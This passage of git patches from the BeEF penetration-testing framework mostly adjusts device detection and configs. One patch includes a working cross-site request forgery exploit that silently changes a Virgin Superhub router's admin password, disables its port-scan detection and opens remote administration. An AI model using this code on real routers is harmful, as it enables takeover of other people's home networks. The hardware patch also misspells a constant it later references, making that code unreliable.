row + end + # set and add the yes|no value for HasGoogleGears has_googlegears = BD.get(self.targetsession, 'HasGoogleGears') if not has_googlegears.nil? diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml index b4a20fe33..3aa49f32f 100644 --- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml @@ -24,7 +24,7 @@ beef: target: working: S: - os: ["iPhone"] + os: ["iOS"] not_working: ALL: os: ["All"] diff --git a/modules/host/detect_google_desktop/config.yaml b/modules/host/detect_google_desktop/config.yaml index 4a0d23f18..ba611bf45 100644 --- a/modules/host/detect_google_desktop/config.yaml +++ b/modules/host/detect_google_desktop/config.yaml @@ -24,5 +24,5 @@ beef: target: not_working: ALL: - os: ["iPhone"] + os: ["iOS"] working: ["ALL"] diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml index 802db1695..7902a2381 100644 --- a/modules/host/get_system_info/config.yaml +++ b/modules/host/get_system_info/config.yaml @@ -24,6 +24,6 @@ beef: target: not_working: ALL: - os: ["iPhone", "Macintosh"] + os: ["iOS", "Macintosh"] working: ["O", "FF", "S", "IE"] user_notify: ["C"] diff --git a/modules/host/hook_default_browser/config.yaml b/modules/host/hook_default_browser/config.yaml index 0033717ba..56c276653 100644 --- a/modules/host/hook_default_browser/config.yaml +++ b/modules/host/hook_default_browser/config.yaml @@ -24,6 +24,6 @@ beef: target: not_working: ALL: - os: ["iPhone"] + os: ["iOS"] working: ["All"] user_notify: ["FF", "C"] diff --git a/modules/host/iphone_tel/config.yaml b/modules/host/iphone_tel/config.yaml index d3bb15769..783637ed4 100644 --- a/modules/host/iphone_tel/config.yaml +++ b/modules/host/iphone_tel/config.yaml @@ -24,7 +24,7 @@ beef: target: user_notify: S: - os: ["iPhone"] + os: ["iOS"] not_working: ALL: os: ["All"] From 123b81b2b47ce59c45d6e59e489b342b85a70a77 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 11:18:28 +0930 Subject: [PATCH 07/13] Updated virgin_superhub_csrf module Now disables firewall and enabled remote administration Fixes issue #705 Fixes issue #706 Fixes issue #707 --- .../router/virgin_superhub_csrf/command.js | 18 +++++++++++++++--- .../router/virgin_superhub_csrf/config.yaml | 2 +- .../router/virgin_superhub_csrf/module.rb | 3 ++- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js index 3c84ee315..fb0ed4ca4 100644 --- a/modules/exploits/router/virgin_superhub_csrf/command.js +++ b/modules/exploits/router/virgin_superhub_csrf/command.js @@ -17,17 +17,29 @@ beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; + var port = '<%= @port %>'; - var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [ - {'type':'hidden', 'name':'NetgearPassword', 'value':passwd} , + var virgin_superhub_iframe1 = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [ + {'type':'hidden', 'name':'NetgearPassword', 'value':passwd}, {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} ]); + var virgin_superhub_iframe2 = beef.dom.createIframeXsrfForm(gateway + "goform/RgServices", "POST", [ + {'type':'hidden', 'name':'cbPortScanDetection', 'value':''} + ]); + + var virgin_superhub_iframe3 = beef.dom.createIframeXsrfForm(gateway + "goform/RgVMRemoteManagementRes", "POST", [ + {'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'}, + {'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port} + ]); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { - document.body.removeChild(virgin_superhub_iframe); + document.body.removeChild(virgin_superhub_iframe1); + document.body.removeChild(virgin_superhub_iframe2); + document.body.removeChild(virgin_superhub_iframe3); } setTimeout("cleanup()", 15000); diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml index 8d7a7a3c9..e767d9fef 100644 --- a/modules/exploits/router/virgin_superhub_csrf/config.yaml +++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: ["Exploits", "Router"] name: "Virgin Superhub CSRF" - description: "Attempts to change the admin password on a Virgin Superhub router." + description: "Attempts to enable remote administration, disable the firewall, and change the admin password on a Virgin Superhub router." authors: ["bcoles", "n0x00"] target: working: ["ALL"] diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb index 28684484d..83599490c 100644 --- a/modules/exploits/router/virgin_superhub_csrf/module.rb +++ b/modules/exploits/router/virgin_superhub_csrf/module.rb @@ -18,7 +18,8 @@ class Virgin_superhub_csrf < BeEF::Core::Command def self.options return [ {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'} ] end From 7686d55b4bddabdf7ff44bcf981c74b49687f09a Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 26 Jun 2012 18:52:03 +0930 Subject: [PATCH 08/13] Added hardware detection for HTC, Motorola, Google Nexus, Nokia, Sony Ericsson --- core/main/client/hardware.js | 37 +++++++++++++----- core/main/constants/hardware.rb | 26 +++++++++--- core/main/models/browserdetails.rb | 7 ++++ .../admin_ui/media/images/icons/htc.ico | Bin 0 -> 1150 bytes .../admin_ui/media/images/icons/motorola.png | Bin 0 -> 3686 bytes .../admin_ui/media/images/icons/nexus.png | Bin 0 -> 7504 bytes .../admin_ui/media/images/icons/nokia.ico | Bin 0 -> 1150 bytes .../media/images/icons/sony_ericsson.png | Bin 0 -> 4643 bytes 8 files changed, 55 insertions(+), 15 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/htc.ico create mode 100644 extensions/admin_ui/media/images/icons/motorola.png create mode 100644 extensions/admin_ui/media/images/icons/nexus.png create mode 100644 extensions/admin_ui/media/images/icons/nokia.ico create mode 100644 extensions/admin_ui/media/images/icons/sony_ericsson.png diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js index f498c53ac..3376aceea 100644 --- a/core/main/client/hardware.js +++ b/core/main/client/hardware.js @@ -49,25 +49,42 @@ beef.hardware = { return (this.ua.match('Kindle')) ? true : false; }, + isHtc: function() { + return (this.ua.match('HTC')) ? true : false; + }, + + isEricsson: function() { + return (this.ua.match('Ericsson')) ? true : false; + }, + + isNokia: function() { + return (this.ua.match('Nokia')) ? true : false; + }, + + isMotorola: function() { + return (this.ua.match('Motorola')) ? true : false; + }, + + isGoogle: function() { + return (this.ua.match('Nexus One')) ? true : false; + }, + getName: function() { - if(this.isNokia()) { - - if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo'; - if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS'; - if (this.ua.indexOf('Symbian') != -1) return 'Symbian'; - - //return 'Nokia'; - } - + if (this.isNokia()) return 'Nokia'; if (this.isWinPhone()) return 'Windows Phone'; if (this.isBlackBerry()) return 'BlackBerry'; if (this.isIphone()) return 'iPhone'; if (this.isIpad()) return 'iPad'; if (this.isIpod()) return 'iPod'; if (this.isKindle()) return 'Kindle'; + if (this.isHtc()) return 'HTC'; + if (this.isMotorola()) return 'Motorola'; + if (this.isZune()) return 'Zune'; + if (this.isGoogle()) return 'Google'; + if (this.isEricsson()) return 'Ericsson'; - return 'unknown'; + return 'Unknown'; } }; diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb index 63958a210..12386ef78 100644 --- a/core/main/constants/hardware.rb +++ b/core/main/constants/hardware.rb @@ -30,15 +30,23 @@ module Constants HW_IPOD_IMG = 'ipod.jpg' HW_BLACKBERRY_UA_STR = 'BlackBerry' HW_BLACKBERRY_IMG = 'blackberry.png' - HW_ANDROID_UA_STR = 'Android' - HW_ANDROID_IMG = 'android.png' HW_WINPHONE_UA_STR = 'Windows Phone' HW_WINPHONE_IMG = 'win.png' HW_ZUNE_UA_STR = 'ZuneWP7' HW_ZUNE_IMG = 'zune.gif' HW_KINDLE_UA_STR = 'Kindle' HW_KINDLE_IMG = 'kindle.png' - HW_ALL_UA_STR = 'All' + HW_NOKIA_UA_STR = 'Nokia' + HW_NOKIA_IMG = 'nokia.ico' + HW_HTC_UA_STR = 'HTC' + HW_HTC_IMG = 'htc.ico' + HW_MOTOROLA_UA_STR = 'motorola' + HW_MOTOROLA_IMG = 'motorola.png' + HW_GOOGLE_UA_STR = 'Nexus One' + HE_GOOGLE_IM = 'nexus.png' + HW_ERICSSON_UA_STR = 'Ericsson' + HW_ERICSSON_IMG = 'sony_ericsson.png' + HW_ALL_UA_STR = 'All' # Attempt to match operating system string to constant # @param [String] name Name of operating system @@ -53,14 +61,22 @@ module Constants HW_IPOD_UA_STR when /blackberry/ HW_BLACKBERRY_UA_STR - when /android/ - HW_ANDROID_UA_STR when /windows phone/ HW_WINPHONE_UA_STR when /zune/ HW_ZUNE_UA_STR when /kindle/ HW_KINDLE_UA_STR + when /nokia/ + HW_NOKIA_UA_STR + when /motorola/ + HW_MOTOROLA_UA_STR + when /htc/ + HW_HTC_UA_STR + when /google/ + HW_GOOGLE_UA_STR + when /ericsson/ + HW_ERICSSON_UA_STR else 'ALL' end diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index ae3868691..3ac2cd2af 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -118,9 +118,16 @@ module Models return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR + return BeEF::Core::Constants::Hardware::HW_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_BLACKBERRY_UA_STR return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR + return BeEF::Core::Constants::Hardware::HW_KINDLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_KINDLE_UA_STR + return BeEF::Core::Constants::Hardware::HW_NOKIA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_NOKIA_UA_STR + return BeEF::Core::Constants::Hardware::HW_MOTOROLA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_MOTOROLA_UA_STR + return BeEF::Core::Constants::Hardware::HW_HTC_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_HTC_UA_STR + return BeEF::Core::Constants::Hardware::HW_GOOGLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_GOOGLE_UA_STR + return BeEF::Core::Constants::Hardware::HW_ERICSSON_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ERICSSON_UA_STR BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG diff --git a/extensions/admin_ui/media/images/icons/htc.ico b/extensions/admin_ui/media/images/icons/htc.ico new file mode 100644 index 0000000000000000000000000000000000000000..a4b722423faa4adf28197043c67f50455ca650ab GIT binary patch literal 1150 zcmZQzU<5(|0R|wcz>vYhz#zuJz@P!dKp~(AL>x%r1UK$I_)iW78Ay)4Q9YR9ZN8@w z9tXJCpl}1p!7y?-;?jdl99b{ST$mUxJ;>rPwJ;ha2g5M)V0;*jE)LTR6G!Hg$_Cj% Ys-EGXo{~HW(%Zne#*u-6JPgtc06@2SQ~&?~ literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/motorola.png b/extensions/admin_ui/media/images/icons/motorola.png new file mode 100644 index 0000000000000000000000000000000000000000..fee6d6e654c6a3aa9afd27a2482037521835c958 GIT binary patch literal 3686 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 r>t!xJIHWR|5u3GA8^ZkD8oY~zo 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 